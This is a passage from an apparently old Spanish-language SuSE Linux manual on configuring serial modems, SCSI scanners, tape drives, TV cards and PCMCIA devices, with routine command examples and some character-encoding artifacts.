  19611.                            |__/dev/ttyS3_________________|__________COM4__________|__3___________________|_0x2e8___________________*
  19612.  *__________|
  19613.  
  19614.                                               Tabla 10.2: Recursos estßndar para un puerto serie
  19615.  
  19616.                            Modem-PCI
  19617.  
  19618.  
  19619.                            Si tiene un modem del tipo PCI, lo mßs probable es que se trate de un ''Win-
  19620.                            modem''.  Winmodems en realidad no son modems ;-) ~ sino dispositivos
  19621.                            que precisan de un driver especial que emula un modem normal.  Este driv-
  19622.                            er  proporciona  el  fabricante  del  dispositivo  y  actualmente   solo  existe  para
  19623.                            Microsoft Windows.
  19624.  
  19625.                            Informaci≤n  mßs  detallada  sobre  Winmodems  y  su  soporte  bajo  Linux  se
  19626.                            encuentra bajo URL http://www.o2.net/~gromitkc/winmodem.html.
  19627.  
  19628.  
  19629.  
  19630.                            Modems-ISA
  19631.  
  19632.  
  19633.                            Para usar modems del tipo ISA se precisan dos pasos:
  19634.  
  19635.  
  19636.                              o   Hay  que  configurar  el  modem  en  si,  o  sea  la  interrupci≤n  (IRQ)  y  la
  19637.                                  direcci≤n de entrada y salida (IO-address) de la interfaz.
  19638.  
  19639.                              o   Hay que informar al kernel sobre la interfaz nueva.
  19640.  
  19641.  
  19642. 304
  19643.        ______________________________________________________________________________________________________________10.7.__Escßner*
  19644.  *______________________
  19645.  
  19646.  
  19647.  
  19648. Inicializaci≤n del modem
  19649. Como ya se ha mencionado en el apartado 10.2 en la pßgina 287Tarjetas de
  19650.  
  19651. expansi≤nsection.10.2, las tarjetas con bus ISA pueden ser del tipo Legacy,
  19652. Jumperless o PnP. El apartado presente cubre (tambiΘn) la activaci≤n de las
  19653. tarjetas PnP.
  19654.  
  19655. Consejos de configuraci≤n:
  19656.  
  19657. Lo menos problemßtico es el uso de /dev/ttyS1 con IRQ 3 (COM2    ), ya que
  19658. la otra posibilidad (/dev/ttyS3 con IRQ 4) puede provocar problemas con
  19659. /dev/ttyS0 (COM1    ).  Este interfaz normalmente usa tambiΘn la IRQ 4.  Por
  19660. eso  nunca  debe  usar  /dev/ttyS0  ni  /dev/ttyS2,  si  existe  un  mouse  de
  19661. puerto serie en COM1    .
  19662.  
  19663. A su vez es mejor evitar las IRQs y 7, ya estßn muchas veces usadas por la
  19664. interfaz de la impresora y la tarjeta de sonido.
  19665.  
  19666. En caso de usar OSS para la tarjeta de sonido, verifique que Θsta no estΘ ac-
  19667. tivada en el fichero /etc/isapnp.conf (ACT  Y     debe figurar como comen-
  19668. tario).
  19669.  
  19670.  
  19671. Pasar los parßmetros al kernel
  19672.  
  19673. DespuΘs de la configuraci≤n del modem, es necesario informar el kernel sobre
  19674. la nueva interfaz.  Si el modem se encuenta en /dev/ttyS0 o /dev/ttyS1
  19675. no hace falta modificar nada, sino que las interfaces se configuran de nuevo
  19676. despuΘs del reinicio del sistema.
  19677.  
  19678. Para otras combinaciones de puerto e IRQ, se requiere el uso de setserial para
  19679. dar de alta la interfaz:
  19680.  
  19681. tierra:/  #  setserial  /dev/ttyS3  irq  10
  19682.  
  19683. Posteriormente  se  puede  proceder  a  configurar  el  acceso  internet  (ver  el
  19684. apartado 6.5 en la pßgina 189Conexi≤n de modemsection.6.5)
  19685.  
  19686. Para automatizar la configuraci≤n mediante setserial , se puede modificar el
  19687. fichero /sbin/init.d/serial. Para el ejemplo de arriba habrφa que modi-
  19688. ficar la siguiente lφnea:
  19689.  
  19690. #  run_setserial  /dev/ttyS3  $AUTO_IRQ  autoconfig
  19691.  
  19692. de forma que aparezca:
  19693.  
  19694. run_setserial  /dev/ttyS3  irq  10
  19695.  
  19696.  
  19697.  
  19698. 10.7        Escßner
  19699.  
  19700.  
  19701. Para usar un escßner bajo Linux se necesita una serie de programas y drivers
  19702. especiales,  igual  que  para  otros  sistemas  operativos.   El  paquete  sane  (se-
  19703. rie gra) en combinaci≤n con paquete scsiinfo (serie ap) proporciona las
  19704. herramientas necesarias.  Mediante SANE  se puede usar un escßner que estΘ
  19705. conectado a una controladora SCSI que soporte Linux.
  19706.  
  19707. Actualmente no hay soporte para escßner en el puerto paralelo, aunque ya se
  19708. estßn desarrollando drivers para ello. Lo mismo ocurre con los escßneres para
  19709. el bus USB.
  19710.  
  19711.  
  19712.                                                                                                                                    *
  19713.  *   305
  19714. 10.  Linux y el hardware_adicional_________________________________________________________________________________________________*
  19715.  *_______________________________________@
  19716.  
  19717.  
  19718.  
  19719.                            SANE  se  estß  ampliando  continuamente  y  la  cantidad  de  escßneres  so-
  19720.                            portados  va  creciendo.    En  el  URL  http://www.mostang.com/sane/
  19721.                            sane-backends.html se encuentra una lista con la versi≤n mßs nueva de
  19722.                            los escßneres soportados.
  19723.  
  19724.  
  19725.                            ┐C≤mo se configura el escßner bajo Linux?
  19726.  
  19727.                            Bajo  Linux  los  escßneres  se  tratan  como  ''generic  scsi  devices''  con  los
  19728.                            ficheros de dispositivo correspondientes /dev/sg0, /dev/sg1, etc.
  19729.  
  19730.                            Para encontrar el fichero de dispositivo correcto, use el programa sgcheck :
  19731.  
  19732.                            tierra:/  #  sgcheck
  19733.  
  19734.                            Deberφa aparecer un mensaje como el siguiente:
  19735.  
  19736.                            Assignment  of  generic  SCSI  devices,
  19737.                            device  host/channel/ID/LUN  type(numeric  type)  vendor  model:
  19738.  
  19739.  
  19740.                                          /dev/sg0  0/0/0/0  Direct-Access(0)  SEAGATE  ST32550N
  19741.                                          /dev/sg1  0/0/1/0  CD-ROM(5)  PIONEER  CD-ROM  DR-U10X
  19742.                                          /dev/sg2  0/0/5/0  Processor(3)  HP  C2500A
  19743.  
  19744.  
  19745.                            Los escßneres se identifican con la denominaci≤n Processor         o SCANNER      . En
  19746.                            el ejemplo expuesto, se puede acceder al escßner por el fichero /dev/sg2.
  19747.  
  19748.                            Ahora hay que generar un enlace simb≤lico desde este fichero hacia /dev/
  19749.                            scanner:
  19750.  
  19751.                            tierra:/  #  ln  -s  /dev/sg2  /dev/scanner
  19752.  
  19753.                            DespuΘs de esto se deben modificar los derechos sobre el dispositivo genΘrico
  19754.                            SCSI.  SANE  espera  derechos  de  lectura  y  tambiΘn  de  escritura,  ya  que  el
  19755.                            programa tiene que enviar comandos al escßner:
  19756.  
  19757.                            tierra:/  #  chmod  777  /dev/sg2
  19758.  
  19759.  
  19760.                            Problema
  19761.  
  19762.                            Si SANE no encuentra el escßner, es posible que ni siquiera la controladora
  19763.                            SCSI lo reconozca. Por eso pruΘbelo con:
  19764.  
  19765.                            tierra:/  #  cat  /proc/scsi/scsi
  19766.  
  19767.                            Deberφan aparecer una indicaciones parecidas a:
  19768.                            Attached  devices:
  19769.                              Host:  scsi0  Channel:  00  Id:  00  Lun:  00
  19770.                                 Vendor:  SEAGATE  Model:    ST32550N                Rev:  0016
  19771.                                 Type:     Direct  Access                                   ANSI  SCSI  revision:  02
  19772.                              Host:  scsi0  Channel:  00  Id:  01  Lun:  00
  19773.                                 Vendor:  PIONEER  Model:    CD-ROM  DR-U10X     Rev:  1.07
  19774.                                 Type:     CD-ROM                                               ANSI  SCSI  revision:  02
  19775.                              Host:  scsi0  Channel:  00  Id:  02  Lun:  00
  19776.                                 Vendor:  QUANTUM  Model:    FIREBALL  TM3200S  Rev:  1.07
  19777.                                 Type:     Direct-Access                                   ANSI  SCSI  revision:  02
  19778.                              Host:  scsi0  Channel:  00  Id:  06  Lun:  00
  19779.                                 Vendor:  SCANNER  Model:                                 Rev:  2.00
  19780.                                 Type:     Scanner                                             ANSI  SCSI  revision:  01  CCS
  19781.  
  19782.  
  19783. 306
  19784.        _______________________________________________________________________________________________10.8.__Cintas_/_Streamer_____*
  19785.  *______________________
  19786.  
  19787.  
  19788.  
  19789. Si no aparece ninguna lφnea con ''SCANNER'' o ''PROCESSOR'', la contro-
  19790. ladora no reconoce el escßner.  Compruebe que el escßner estΘ encendido y
  19791. que el terminador del Bus SCSI estß correctamente instalado.
  19792.  
  19793.  
  19794.  
  19795. 10.8        Cintas / Streamer
  19796.  
  19797.  
  19798. Unidades de cinta (ingl. Streamer) se usan sobre todo para respaldar grandes
  19799. cantidades  de  datos.  Estas  unidades  estßn  disponibles  con  diferentes  inter-
  19800. faces de conexi≤n.
  19801.  
  19802.  
  19803.  
  19804. SCSI-Streamer
  19805.  
  19806. Los  dispositivos  mßs  conocidos  son  aquellos  que  se  conectan  directamente
  19807. al  bus  SCSI.  En  principio,  todos  los  dispositivos  que  se  pueden  conectar  a
  19808. una  controladora  SCSI  soportada  por  Linux,  funcionan  bajo  Linux.   Si  la
  19809. unidad  de  cinta  tuviera  funciones  especiales  (p. ej.   cambio  automßtico  de
  19810. cintas),  es muy probable que se necesite software especial para aprovechar
  19811. estas funciones.
  19812.  
  19813. Una unidad de cinta tipo SCSI se controla de la siguiente forma:
  19814.  
  19815.  
  19816.   o   El primer streamer del sistema se controla con los ficheros de dispositi-
  19817.       vo  /dev/st0  y  /dev/nst0,  el  siguiente  con  /dev/st1  y  /dev/nst1,
  19818.       etc. /dev/stX representa una unidad de cinta que rebobina al comienzo,
  19819.       despuΘs de cada acci≤n.
  19820.  
  19821.       /dev/nstX  se  refiere  a  una  unidad  que  mantiene  siempre  la  posici≤n
  19822.       actual de la cinta.
  19823.  
  19824.       Recomendamos usar /dev/nstX, ya que el comando mt  permite contro-
  19825.       lar exactamente la unidad de cinta.
  19826.  
  19827.   o   mt  es el comando para enviar secuencias de control a la unidad de cinta.
  19828.       tierra:/  #  mt  -f  /dev/nst0  retension
  19829.       Tensiona  de  nuevo  la  cinta,  rebobinßndola  desde  el  comienzo  hasta  el
  19830.       final.
  19831.       tierra:/  #  mt  -f  /dev/nst0  rewind
  19832.       Rebobina la cinta al comienzo.
  19833.       tierra:/  #  mt  -f  /dev/nst0  eom
  19834.       Rebobina  la  cinta  desde  de  la  ·ltima  grabaci≤n  hacia  atrßs,  para  a±adir
  19835.       datos a una cinta parcialmente ocupada.
  19836.       tierra:/  #  mt  -f  /dev/nst0  erase
  19837.  
  19838.       Borra la cinta. íCuidado! Todos los datos se pierden.
  19839.  
  19840.  
  19841. IDE-Streamer
  19842.  
  19843. Las  unidades  de  cinta  se  conectan  al  bus  IDE  de  la  computadora  y  Linux
  19844. los  reconoce  automßticamente.   Se  puede  usar  a  travΘs  de  los  ficheros  de
  19845. dispositivo /dev/ht0 o /dev/nht0.
  19846.  
  19847. Use el comando mt , asφ como se detalla en el apartado 10.8.
  19848.  
  19849.  
  19850.  
  19851.                                                                                                                                    *
  19852.  *   307
  19853. 10.  Linux y el hardware_adicional_________________________________________________________________________________________________*
  19854.  *_______________________________________@
  19855.  
  19856.  
  19857.  
  19858.                            Floppy-Streamer
  19859.                            Las unidades de cinta tipo ''floppy'' se conectan en cadena al puerto de dis-
  19860.  
  19861.                            quetera que existe en todas las computadoras.
  19862.  
  19863.                            El control de estos dispositivos es difφcil de sincronizar,  por eso frecuente-
  19864.                            mente se presentan problemas al grabar datos.
  19865.  
  19866.                            Con el driver especial ftape se pueden usar bajo Linux.  Ese driver se sumin-
  19867.                            istra junto con el kernel.  Su configuraci≤n se detalla en /usr/src/linux/
  19868.                            Documentation/ftape.txt;  la  documentaci≤n  completa  sobre  el  subsis-
  19869.                            tema ftape se encuentra en la ''Homepage'' del desarrollador del driver:
  19870.                            http://www.math1.rwth-aachen.de/~heine/ftape/.
  19871.  
  19872.  
  19873.  
  19874.                            10.9        Tarjetas TV
  19875.  
  19876.                            Desde hace alg·n tiempo ya,  se puede ver la televisi≤n bajo Linux,  usando
  19877.                            una tarjeta capturadora de vφdeo y el entorno grßfico (el sistema X Window).
  19878.                            Todo se realiza mediante una serie de m≤dulos de kernel y algunos programas
  19879.                            correspondientes.
  19880.  
  19881.  
  19882.                            ┐Cußles tarjetas se soportan?
  19883.  
  19884.                            El soporte de una tarjeta depende bßsicamente del chip incorporado en la tar-
  19885.                            jeta.  Los mßs difundidos son los ''Grabber-Chips'' de la empresa Brooktree.
  19886.                            Bajo Linux se puede usar tarjetas con los chips BT848     y ''BT878''. El soporte
  19887.                            para el BT878      a·n no es completo pero se puede considerar como estable.
  19888.  
  19889.                            Algunas  tarjetas  tφpicas  que  incorpora  este  chip  son  p. ej.    Hauppauge
  19890.                            WIN/TV  y Miro PC/TV .
  19891.  
  19892.  
  19893.                            ┐C≤mo se activa el soporte de las tarjetas?
  19894.  
  19895.                              o   Entrar al sistema como superusuario `root'
  19896.  
  19897.                              o   Instalar con YaST  el paquete bttv de la serie gra.
  19898.                              o   Entrar  al  directorio  /usr/doc/packages/bttv/tools  para  iniciar  el
  19899.                                  programa update      :
  19900.                                  tierra:/  #  cd  /usr/doc/packages/bttv/tools
  19901.                                  tierra:/usr/doc/packages/bttv/tools  #  ./update
  19902.                                  Este script prepara el sistema para el uso de las tarjetas TV. Primero re-
  19903.                                  conoce la tarjeta TV usada y despuΘs se encarga de configurar los m≤dulos
  19904.                                  necesarios.
  19905.  
  19906.                            Si  se  presentan  problemas  con  la  tarjeta  TV,  consulte  primero  la  docu-
  19907.                            mentaci≤n en /usr/doc/packages/bttv/doc.  Ademßs nuestro banco de
  19908.                            datos de soporte en urlhttp://sdb.suse.de/ contiene algunos artφculos sobre el
  19909.                            tema (palabra guφa: tv  ).
  19910. 308
  19911.  
  19912.                                                                                                       Capφtulo  11
  19913.       Portßtiles   ~   PCMCIA,   APM,   IrDA
  19914.  
  19915.  
  19916. Los portßtiles suelen incorporar dispositivos especiales como p. ej.  interfaces
  19917. de infrarrojo (IrDA), tarjetas PCMCIA o la administraci≤n avanzada de poten-
  19918. cia ''Advanced Power Management'' (APM). Estos componentes se encuen-
  19919. tran a veces tambiΘn en las computadoras de sobremesa y no se distinguen
  19920. mucho de los que incorporan los portßtiles. Por eso su configuraci≤n y su uso
  19921. estßn resumidos en este capφtulo.
  19922.  
  19923. Pare  conseguir  informaci≤n  sobre  determinados  modelos  de  portßtiles  se
  19924. recomienda  visitar  la  ''Linux  Laptop  Homepage''  en  http://www.cs.
  19925. utexas.edu/users/kharker/linux-laptop.    Otra  fuente  de  informa-
  19926. ci≤n es la ''LiLAC''-Homepage en http://home.snafu.de/wehe/index_
  19927. li.html.   Allφ  se  encuentran  dos  Howto's  interesantes  sobre  Laptops  en
  19928. general y sobre IrDA.
  19929.  
  19930.  
  19931.  
  19932. 11.1        PCMCIA
  19933.  
  19934.  
  19935. 11.1.1       El hardware
  19936.  
  19937. PCMCIA  es  la  abreviaci≤n  de  ''Personal  Computer  Memory  Card  Interna-
  19938. tional Association'' y se usa generalmente para todo el hardware y software
  19939. relacionado con ello.  El componente clave es la tarjeta PCMCIA, de la que
  19940. se distinguen dos tipos diferentes:
  19941.  
  19942.  
  19943. Tarjetas PC:          Son las tarjetas con difusi≤n mßs amplia y usan un bus de 16bit
  19944.       para  la  transferencia  de  datos.   Estas  tarjetas  suelen  ser  econ≤micas  y
  19945.       muchas de ellas se soportan sin problemas y de forma estable.
  19946.  
  19947. Tarjetas CardBus:              Son tarjetas bajo un estßndar mßs nuevo con un bus de
  19948.       32 Bit de anchura y mßs rßpidos pero tambiΘn mßs caros.  El gasto adi-
  19949.       cional para estas tarjetas normalmente no se justifica, ya que el cuello de
  19950.       botella  para  la  transferencia  suele  estar  en  otra  parte,  que  no  es  el  bus.
  19951.       Ya existen varios drivers para estas tarjetas; algunos de ellos a·n son in-
  19952.       estables (en funci≤n de la combinaci≤n de la controladora PCMCIA y la
  19953.       tarjeta).
  19954.  
  19955.  
  19956. Cuando el servicio PCMCIA estΘ activo, el comando cardctl  ident            indica
  19957. la tarjeta que estΘ introducida en la ranura. Una lista de las tarjetas soportadas
  19958. se  encuentra  en  SUPPORTED_CARDS  en  el  fichero  /usr/doc/packages/
  19959. pcmcia. Allφ se encuentra tambiΘn la ·ltima versi≤n del PCMCIA-HOWTO.
  19960.  
  19961.  
  19962.                                                                                                                                    *
  19963.  *   309
  19964. 11.  Portßtiles ~ PCMCIA,_APM,_IrDA________________________________________________________________________________________________*
  19965.  *_______________________________________@
  19966.  
  19967.  
  19968.  
  19969.                            El segundo componente que se necesita para el soporte PCMCIA es la con-
  19970.                            troladora o bien el PC-Card/CardBus-Bridge. Este puente establece la comu-
  19971.                            nicaci≤n entre la tarjeta y el bus PCI o (en caso de mßquinas antiguas) el bus
  19972.                            ISA. Casi siempre las controladoras son compatibles con el chip i82365       de
  19973.                            Intel por lo que todos los modelos corrientes se soportan.  Con el comando
  19974.                            probe      se puede averiguar el tipo de controladora. Si la controladora conecta
  19975.                            al bus PCI se puede conseguir mßs informaci≤n con lspci  -vt       .
  19976.  
  19977.  
  19978.                            11.1.2       El software
  19979.  
  19980.                            Todos los programas y drivers que se necesitan y que no estßn incorporados en
  19981.                            el kernel, se encuentran en el paquete PCMCIA, serie a1. La base de todo estß
  19982.                            formada por los m≤dulos pcmcia_core, i82365, ds y (pocas veces) tcic.
  19983.                            Estos m≤dulos se cargan normalmente durante el inicio de la computadora,
  19984.                            inicializan las controladoras PCMCIA y proporcionan funciones bßsicas.
  19985.  
  19986.                            Es necesario un +  Daemon que vigile las actividades de las tarjetas, ya que es
  19987.                            permitido cambiarlas en tiempo de ejecuci≤n. De esta tarea se ocupa el Card-
  19988.                            manager  (cardmgr       ),  que se carga inmediatamente despuΘs de los m≤dulos
  19989.                            bßsicos.  Cuando se inserta una tarjeta, el Cardmanager (ingl. administrador
  19990.                            de tarjetas) averigua el tipo y la funci≤n de la tarjeta para cargar los m≤dulos
  19991.                            correspondientes; con lsmod      se puede verificar los m≤dulos cargados.  Una
  19992.                            vez que todos los m≤dulos se hayan cargado con Θxito, el Cardmanager inicia
  19993.                            ~ seg·n la funci≤n de la tarjeta ~ determinados scripts de inicializaci≤n, que
  19994.                            se  encargan  p. ej.  de  establecer  la  conexi≤n  de  red  o  de  montar  particiones
  19995.                            de discos duros externos del tipo SCSI. En el momento de quitar la tarjeta el
  19996.                            cardmanager se encarga de desactivar mediante los mismos script las diversas
  19997.                            actividades de la tarjeta.  Finalmente los m≤dulos que ya no se necesitan se
  19998.                            descargan de la memoria.
  19999.  
  20000.                            Por eso, ''te≤ricamente'', es posible quitar las tarjetas sin ninguna precauci≤n
  20001.                            especial.   Es  algo  que  funciona  muy  bien  para  las  tarjetas  de  red,  RDSI  o
  20002.                            los modems cuando ya no existe ninguna conexi≤n de red.  No funciona en
  20003.                            relaci≤n a particiones montadas de un disco duro externo o con directorios
  20004.                            NFS.  En  estos  ·ltimos  casos  hay  que  procurar  sincronizar  y  desmontar  las
  20005.                            unidades  correctamente  (umount      ),  ya  que  esto  deja  de  ser  posible  una  vez
  20006.                            que se haya sacado la tarjeta. En caso de duda se deberφa usar:
  20007.  
  20008.                                  tierra:  #  cardctl  eject
  20009.  
  20010.                            Este comando desactiva las tarjetas mientras se encuentren a·n en el portßtil.
  20011.  
  20012.  
  20013.                            11.1.3       La configuraci≤n
  20014.  
  20015.                            Cuando  el  paquete  PCMCIA  estß  instalado,  se  encuentran  cuatro  variables
  20016.                            sobre  Θste  dentro  de  /etc/rc.config.   START_PCMCIA            indica  si  el  servi-
  20017.                            cio PCMCIA se inicia durante el arranque.  Es posible iniciar este servicio
  20018.                            manualmente,  aunque  START_PCMCIA            estΘ  en  no  .   PCMCIA       indica  el  tipo
  20019.                            de controladora PCMCIA y se configura automßticamente durante la insta-
  20020.                            laci≤n; casi siempre es i82365     . Las otras dos variables (PCMCIA_PCIC_OPTS
  20021.                            y  PCMCIA_CORE_OPTS              )  son  para  opciones  de  los  m≤dulos  bßsicos  y  nor-
  20022.                            malmente  se  pueden  quedar  vacφos.   La  opci≤n  por  defecto  do_pnp=0        de
  20023.  
  20024.  
  20025. 310
  20026.        ____________________________________________________________________________________________________________11.1.__PCMCIA___*
  20027.  *______________________
  20028.  
  20029.  
  20030.  
  20031. PCMCIA_CORE_OPTS                solo importa para los portßtiles de Compaq.  Normal-
  20032. mente no se requiere ninguna configuraci≤n adicional del hardware, ya que el
  20033. Cardmanager (cardmgr       ) se encarga de la selecci≤n del m≤dulo correcto.
  20034.  
  20035.  
  20036. Ethernet y TokenRing
  20037.  
  20038. Las  conexiones  de  red  tipo  Ethernet  o  TokenRing  se  pueden  configurar
  20039. sin  ning·n  problema  con  YaST .  El  formulario  para  la  `Configuraci≤n
  20040. bßsica  de  red'  se  encuentra  bajo  `Administraci≤n  del  sistema'
  20041. ! `Configuraci≤n  de  red' y la red se configura igual como si las tar-__
  20042. jetas  fueran  fijas.   Aparte  de  esto  solo  falta  indicar  con  |___F|9que  la  tarjeta
  20043. es  del  tipo  PCMCIA;  ver  apartado  3.7.3  en  la  pßgina  108Configuraci≤n  de
  20044. redsubsection.3.7.3. Tenga en cuenta los siguientes detalles:
  20045.  
  20046.   o   Con varios dispositivos de Ethernet o de TokenRing marcados como tipo
  20047.       PCMCIA, solo se tiene en cuenta la configuraci≤n del primer dispositivo.
  20048.  
  20049.   o   En comparaci≤n a las tarjetas_de_red normales, la configuraci≤n se activa
  20050.       inmediatamente al apretar |F____1|0.
  20051.  
  20052.   o   Los  nombres  de  dispositivo  que  se  indican  (eth0    ,  eth1    ,  tr0   . . . )   se
  20053.       entienden  como  mera  informaci≤n  sobre  el  tipo  de  dispositivo,  ya  que
  20054.       la enumeraci≤n de los dispositivos es dinßmica para PCMCIA.
  20055.  
  20056.   o   Cuando un dispositivo estß desactivado y se_activa de nuevo con |____|F4, tam-
  20057.       biΘn es preciso marcarlo nuevamente con |___F|9como dispositivo PCMCIA.
  20058.  
  20059.  
  20060. RDSI
  20061.  
  20062. TambiΘn  las  tarjetas  PC  del  tipo  RDSI  se  configuran  como  es  habitual;
  20063. ver  el  apartado  6.2  en  la  pßgina  173Acceso  a  Internet  vφa  RDSI  ~  la
  20064. configuraci≤nsection.6.2.   La  ·nica  diferencia  es  que  hace  falta  marcar  el
  20065. dispositivo como PCMCIA, en `Configuraci≤n  bßsica  de  red' (`Ad-
  20066. ministraci≤n_ del  sistema', ! `Configuraci≤n  de  red') usando la
  20067. tecla  ||_F|9. No hace falta indicar ni la interrupci≤n (IRQ) ni el puerto (IO-Port).
  20068. Tampoco se puede modificar el protocolo de transmisi≤n.
  20069.  
  20070. Existen tambiΘn tarjetas PCMCIA con modem RDSI. Estas suelen ser tarjetas
  20071. multifunci≤n con un ''kit'' de conexi≤n RDSI y su tratamiento es equivalente
  20072. al de un modem.
  20073.  
  20074.  
  20075. Modem
  20076.  
  20077. Las tarjetas PC con modem anal≤gico normalmente no conocen ninguna con-
  20078. figuraci≤n especφfica para PCMCIA. Cuando se inserta un modem,  Θste es-
  20079. tß directamente disponible bajo /dev/modem.  La configuraci≤n con wvdial
  20080. (wvdial      )  es  equivalente  a  la  de  un  modem  normal;  ver  apartado  6.6  en  la
  20081. pßgina 190Con el modem a Internet: PPP con wvdial section.6.6.
  20082.  
  20083.  
  20084. SCSI y IDE
  20085.  
  20086. El  gestor  de  tarjetas  (Cardmanager)  carga  los  m≤dulos  adecuados.   En  el
  20087. momento de insertar una tarjeta SCSI o IDE, los dispositivos conectados a
  20088. ella estßn a disposici≤n. Los nombres de +  dispositivo se averiguan de forma
  20089.  
  20090.  
  20091.                                                                                                                                    *
  20092.  *   311
  20093. 11.  Portßtiles ~ PCMCIA,_APM,_IrDA________________________________________________________________________________________________*
  20094.  *_______________________________________@
  20095.  
  20096.  
  20097.  
  20098.                            dinßmica.   La  informaci≤n  sobre  los  dispositivos  SCSI  o  IDE  se  encuentra
  20099.                            bajo /proc/scsi o /proc/ide.
  20100.                            ________________________________________________________________________________________________________*
  20101.  *________|||
  20102.                            |                                                                                                       *
  20103.  *        |||
  20104.                            |  Los  dispositivos  externos  como  discos  duros  o  lectores  CDROM  deben                          *
  20105.  *        |||
  20106.                            |  estar encendidos, antes de introducir la tarjeta PCMCIA a su ranura.  La                             *
  20107.  *        |||
  20108.                            |                                                                                                       *
  20109.  *        |||
  20110.                            |  terminaci≤n de los dispositivos SCSI debe ser activa.                                                *
  20111.  *        |||
  20112.                            |  Cuidado:   Hay  que  desmontar  todas  las  particiones  de  los  dispositivos                       *
  20113.  *        |||
  20114.                            |                                                                                                       *
  20115.  *        |||
  20116.                            |  que estΘn conectados a una tarjeta antes de extraerla.  En caso de haberlo                           *
  20117.  *        |||
  20118.                            |  olvidado no se puede acceder a estos dispositivos antes de un reinicio del                           *
  20119.  *        |||
  20120.                            |                                                                                                       *
  20121.  *        |||
  20122.                            |  sistema, aunque el resto del sistema pueda funcionar perfectamente.                                  *
  20123.  *        |||
  20124.                            |_______________________________________________________________________________________________________*
  20125.  *________|||_
  20126.  
  20127.                            Es posible instalar Linux completamente en un disco duro externo,  pero el
  20128.                            procedimiento  de  arranque  resulta  un  poco  mßs  complicado.  En  todo  caso
  20129.                            se necesita un ''Bootdisk'' con el kernel y un Ramdisk inicial (initrd); mßs
  20130.                            informaci≤n sobre ello en el apartado 16.2 en la pßgina 411Arrancar con ''ini-
  20131.                            tial ramdisk''section.16.2. La initrd contiene un sistema de ficheros virtual
  20132.                            que contiene todos los m≤dulos y programas necesarios para el soporte PCM-
  20133.                            CIA. El disquete de arranque ''Bootdisk'' de SuSE      Linux y las imßgenes de
  20134.                            estos disquetes tienen esta misma estructura, por lo que siempre serφa posible
  20135.                            arrancar la instalaci≤n externa mediante estos disquetes. La desventaja es que
  20136.                            se requiere cargar manualmente el soporte PCMCIA en cada inicio.  Para los
  20137.                            usuarios avanzados existe la posibilidad de generar un disquete de arranque
  20138.                            hecho a medida1 .
  20139.  
  20140.  
  20141.                            11.1.4       Configuraci≤n variable ~ ''Esquemas''
  20142.  
  20143.                            Una computadora m≤vil necesita muchas veces una configuraci≤n diferente
  20144.                            que depende del lugar en el cual debe operar (p. ej.  en el trabajo y en casa).
  20145.                            Se puede realizar fßcilmente con dispositivos PCMCIA, pero se requiere la
  20146.                            adaptaci≤n manual de los ficheros de configuraci≤n, ya que YaST  a·n no es
  20147.                            capaz de encargarse de ello.  La siguiente descripci≤n no se refiere a tarjetas
  20148.                            RDSI ni a modems 2 .
  20149.  
  20150.                            Hablando  de  PCMCIA,  una  configuraci≤n  se  denomina  ''esquema'',  (ingl.
  20151.                            Scheme).  Los ficheros de configuraci≤n para los dispositivos PCMCIA que
  20152.                            se encuentran bajo /etc/pcmcia/*.opts pueden albergar varios esquemas.
  20153.                            Los datos de un esquema aparecen en estos ficheros en forma de bloques de
  20154.                            configuraci≤n  y  se  puede  acceder  a  estos  mediante  una  ''direcci≤n''.   Estas
  20155.                            direcciones se separan con comas,  siendo la primera palabra el nombre del
  20156.                            esquema.  Las demßs cadenas de texto contienen informaci≤n, p. ej.  sobre la
  20157.                            ranura en la que se encuentra la tarjeta o el n·mero de una partici≤n del disco
  20158.                            duro.   Hay  informaci≤n  mßs  detallada  sobre  este  tema  al  comienzo  de  los
  20159.                            ficheros /etc/pcmcia/*.opts y en el PCMCIA-HOWTO. El esquema por
  20160.                            defecto de SuSE     Linux se denomina SuSE    . Este esquema (SuSE    ) se modifica
  20161.                            mediante SuSEconfig        , si la conexi≤n de red se ha configurado con YaST . Por
  20162.                            _____________________________________________1
  20163.                               Para mßs informaci≤n consulte en el PCMCIA-HOWTO el apartado 5.3 ''Booting from a
  20164.                            PCMCIA device''.
  20165.                            2  En caso de RDSI es posible generar varios dispositivos con la misma direcci≤n de red y la
  20166.                            misma ruta por defecto. Estos no se inician de forma automßtica sino manualmente. ~ En caso
  20167.                            de los modems se puede usar varios perfiles diferentes con wvdial .
  20168.  
  20169.  
  20170. 312
  20171.        ____________________________________________________________________________________________________________11.1.__PCMCIA___*
  20172.  *______________________
  20173.  
  20174.  
  20175.  
  20176. eso  los||cambios||hechos  a  mano  en  este  esquema  se  pierden  en  el  pr≤ximo                                            ||
  20177. inicio de|SuSEconfig||       .                                                                                                 ||
  20178.  
  20179.        _______________________________________________________________________________________________________________________||||
  20180.        |||||||| #  The  address  format  is  "scheme,socket,instance,hwaddr"  .                                                |
  20181.        |||||||| case  "$ADDRESS"  in                                                                                           |
  20182.        |||||||| SuSE,*,*,*)                                                                                                    |
  20183.        ||||||||       INFO="This  scheme  is  to  be  configured  by  YaST/SuSEconfig"                                         |
  20184.        |||||||| #  [...  gekⁿrzt  ...]                                                                                         |
  20185.        ||||||||                                                                                                                |
  20186.        ||||||||       ;;                                                                                                       |
  20187.        |||||||| work,*,*,*)                                                                                                    |
  20188.        ||||||||       INFO="Configuraci≤n  de  red  para  el  trabajo  vφa  DHCP"                                              |
  20189.        ||||||||                                                                                                                |
  20190.        ||||||||       IF_PORT=""                                                                                               |
  20191.        ||||||||       BOOTP="n"                                                                                                |
  20192.        ||||||||       DHCP="y"                                                                                                 |
  20193.        ||||||||       IPADDR=""                                                                                                |
  20194.        ||||||||                                                                                                                |
  20195.        ||||||||       NETMASK=""                                                                                               |
  20196.        ||||||||       NETWORK=""                                                                                               |
  20197.        ||||||||       BROADCAST=""                                                                                             |
  20198.        ||||||||       GATEWAY=""                                                                                               |
  20199.        ||||||||                                                                                                                |
  20200.        ||||||||       DOMAIN=""                                                                                                |
  20201.        ||||||||       SEARCH=""                                                                                                |
  20202.        ||||||||       DNS_1=""                                                                                                 |
  20203.        ||||||||       MOUNTS=""                                                                                                |
  20204.        ||||||||                                                                                                                |
  20205.        ||||||||       start_fn  ()  {  return;  }                                                                              |
  20206.        ||||||||       stop_fn  ()  {  return;  }                                                                               |
  20207.        ||||||||       ;;                                                                                                       |
  20208.        |||||||| home,*,*,*)                                                                                                    |
  20209.        ||||||||                                                                                                                |
  20210.        ||||||||       INFO="Configuraci≤n  de  red  para  la  casa  con  direcci≤n  fija"                                      |
  20211.        ||||||||       IF_PORT=""                                                                                               |
  20212.        ||||||||       BOOTP="n"                                                                                                |
  20213.        ||||||||       DHCP="n"                                                                                                 |
